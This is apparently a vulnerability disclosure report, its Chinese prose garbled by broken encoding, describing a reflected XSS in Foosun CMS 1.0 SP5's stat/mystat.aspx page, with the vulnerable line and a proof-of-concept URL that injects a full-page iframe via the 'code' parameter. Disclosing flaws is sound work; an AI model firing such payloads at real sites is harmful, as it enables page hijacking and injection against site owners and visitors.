ѶCMS 1.0 SP5XSS©

©

¶״̬



2011-08-02 ϵ̲ҵȴУϸڲ⹫
2011-08-02 Ѿ©ϸڹ


Ҫ

ڳδûύݽйˣXSS©

ϸ˵

©ļstat/mystat.aspx
 
document.write("<script>var code='<%=code%>';var url='<%=str_fs_url%>'; var statid='<%=statid %>'</script>")

 codeδй˲XSS©

©֤

http://www.foosun.net/stat/mystat.aspx?code='</script>")<iframe src='http://www.baidu.com' width='100%' height='100%' frameborder=no border=0>
